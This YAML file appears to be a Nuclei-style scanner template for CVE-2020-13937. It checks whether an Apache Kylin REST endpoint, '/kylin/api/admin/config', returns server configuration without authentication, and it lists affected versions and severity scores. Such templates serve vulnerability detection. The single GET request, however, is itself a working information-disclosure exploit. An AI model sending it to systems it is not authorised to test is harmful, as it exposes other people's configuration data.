id: CVE-2020-13937

info:
  name: Apache Kylin - Exposed Configuration File
  author: pikpikcu
  severity: medium
  description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
  remediation: |
    Secure the configuration file by restricting access permissions and implementing proper access controls.
  reference:
    - https://kylin.apache.org/docs/release_notes.html
    - https://s.tencent.com/research/bsafe/1156.html
    - https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-13937
    cwe-id: CWE-922
    epss-score: 0.97368
    epss-percentile: 0.99883
    cpe: cpe:2.3:a:apache:kylin:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: kylin
  tags: cve,cve2020,apache

http:
  - method: GET
    path:
      - "{{BaseURL}}/kylin/api/admin/config"

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - config
          - kylin.metadata.url
        condition: and

      - type: status
        status:
          - 200

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